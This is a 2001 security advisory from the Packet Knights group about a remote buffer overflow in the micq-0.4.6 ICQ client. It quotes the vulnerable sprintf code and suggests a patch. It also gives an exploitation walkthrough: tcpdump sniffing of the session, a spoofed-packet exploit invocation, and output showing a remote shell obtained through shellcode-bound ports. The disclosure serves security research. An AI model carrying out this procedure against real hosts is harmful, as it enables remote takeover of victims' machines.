|
Home : Advisories : micq-0.4.6 remote buffer overflow
Title: |
micq-0.4.6 remote buffer overflow |
Released by: |
pkcrew.org |
Date: |
18th January 2001 |
Printable version: |
Click here |
/* pkc003.txt */
-=[ SECURITY ADVISORY #003 ]=-
_____________ _______
| \ [www.pkcrew.org] / \
\ | ______ / ___ \
| | |_ _| ___ | / \___|
| | | | / _| | |
| _______/ | | / / | |
| / | _ < | | ___
| | [PkC] | | \ \ | \_____/ |
_| |_ _| |_ \ \_ \ |
|_______| |______| |____| \__________/
[ Packet Knights Crew ]
-=[ SECURITY ADVISORY #003 ]=-
- Vulnerable program: micq-0.4.6 (Matt's ICQ clone). Maybe others.
- Tested on: Linux/ix86 (Slackware 7.1 - RedHat 6.1)
- Advisory author: tHE rECIdjVO
- Group: Packet Knights (http://www.pkcrew.org/)
- Date of release: 01/18/2000
- Problems: Remote buffer overflow
Local buffer overflow (not dangerous if not suid)
- Impact: Remote vulnerablity allows to execute arbitrary code with
the UID/GID of the user running micq.
- Risk level: HIGH!
- Exploit: Simple remote shell exploit for Linux/ix86 attached.
- Dedicated to: Francesca (I'll never forget you :*)
- Credits: The possible problem was signaled by |CyRaX| and asynchro.
Thanks to Nail for some crazy ideas :)
- Greetings: Mozarela mia sinta giganta.
All PkC members, expecially |CyRaX| and asynchro.
All IRCNet friends, expecially Guybrush and IISBOSS.
All my Undernet bros.
My mom.
LOA guys.
cat ~/friends/*
- Summary:
micq-0.4.6 is one of the best ICQ emulator for linux console.
There is a buffer overflow in sprintf() in icq_response.c in function
Do_Msg() at line 879, that allows to a remote attacker able to sniff
packets to ICQ server to execute arbitrary code on the victim system.
There is a local buffer overflow, too.
If you send an URL message with a too large description, the program
receives a SIGSEGV.
Because of the program is not suid, I don't analyze this bof further
more.
- Details:
[ ... snip ... icq_response.c ... snip ... ]
void Do_Msg( SOK_T sok, DWORD type, WORD len, char * data, DWORD uin )
{
char *tmp;
int x,m;
char message[1024];
char url_data[1024];
char url_desc[1024];
[ ... ]
else if (type == URL_MESS || type == MRURL_MESS)
{
tmp = strchr( data, '\xFE' );
if ( tmp == NULL )
{
M_print( "Ack!!!!!!! Bad packet" );
return;
}
*tmp = 0;
char_conv ("wc",data);
strcpy (url_desc,data);
tmp++;
data = tmp;
char_conv ("wc",data);
strcpy (url_data,data);
===> sprintf (message,"Description: %s \n URL: %s",
===> url_desc,url_data);
if ( UIN2nick( uin ) != NULL )
log_event( uin, LOG_MESS, "You received URL message from %s\n%s\n",
UIN2nick(uin), message );
else
log_event( uin, LOG_MESS, "You received URL message from %d\n%s\n",
uin, message );
M_print( " URL Message.\n Description: " MESSCOL "%s" NOCOL "\n",
url_desc );
M_print( " URL : " MESSCOL "%s" NOCOL "\n",
url_data );
}
[ ... snip ... icq_response.c ... snip ... ]
The buffer overflow is due to a malicious URL message sent by the
server. The client reads 1024 bytes from the UDP socket, trim the
message headers and split the remaining data in the 1024 bytes
url_data and url_desc, recombining in the message char buffer, adding
about fifty digits. Because of the url_data is 1024 bytes long, this
instruction can be used to overwrite the return address of the
function
and execute arbitrary code on the client machine.
- Solution:
A simple patch can be to increase the message buffer size up to 50
bytes. I've not tested if there are others problem fixin' in that way.
I tryed to alert the micq author (Matt Smith), but homepage is out of
order and email is unexistant.
- Exploit:
An exploit for Linux/ix86 is attached.
Exploiting this bof is a little hard.
The main problem is that we need a large amount of data to be send as
URL, but ICQ servers seem to trim packets bigger than 500 bytes.
So the mad way I've found is to spoof ICQ server and send the
malicious
packet directly to the client (micq only uses server connection).
In order to make it works, we need some extra data on the connection,
that requires sniffing at least one packet from the existant
connection,
like , that identify the connection. This can be done
easily with tcpdump 3.6.1 (http://www.tcpdump.org/). Let's see how:
(data and ip are random)
[root@pkcrew:~]# tcpdump -i eth0 -s 49 -tnx udp src port 4000
tcpdump: listening on eth0
[ ... ]
205.188.153.105.4000 > 32.96.111.130.1080: udp 21 (DF)
4500 0031 747f 4000 eb11 a72c cdbc 996a
ceb6 3e32 0fa0 0501 001d 4c3d 0500 00f4
b10f 5a
[ ... ]
16 packets received by filter
0 packets dropped by kernel
[root@pkcrew:~]#
( is the last 4 shown bytes)
Now we have all the data we need.
Let's try to exploit this (don't try THIS ;)
[root@pkcrew:~]# ./micRAq 32.96.111.130 1080 205.188.153.105 f4b10f4a
[ [ micRAq ] - by tHE rECIdjVO ]
Packet Knights - http://www.pkcrew.org/
Using buffer address: 0xbfffedb0
"To be, or not to be.
This is the question."
(William Shakespere)
Trying 32.96.111.130...
Connected to 32.96.111.130.
Escape character is '^]'.
bash$
Good :P
The program sends a spoofed UDP packet formatted to be parsed as an
URL
message, but with malicious code in it. It was written using my linux
buffer address and offset, but it can be easily changed for other
situations.
The shellcode open a shell on port 3879/tcp, then the exploit sends
the execution of a inetd session with a shell binded on port
10000/tcp,
and execl() to telnet on that port, giving you an interactive sh on
the
remote machine.
WARNING: when micq crashes, it prints the malicious URL, so on the
other side the victim see a lot of unprintable characters
and the /bin/sh string too.
That's all ;)
/* pkc003.txt */
--
tHE rECIdjVO
Member of the Packet Knights
http://www.pkcrew.org/
|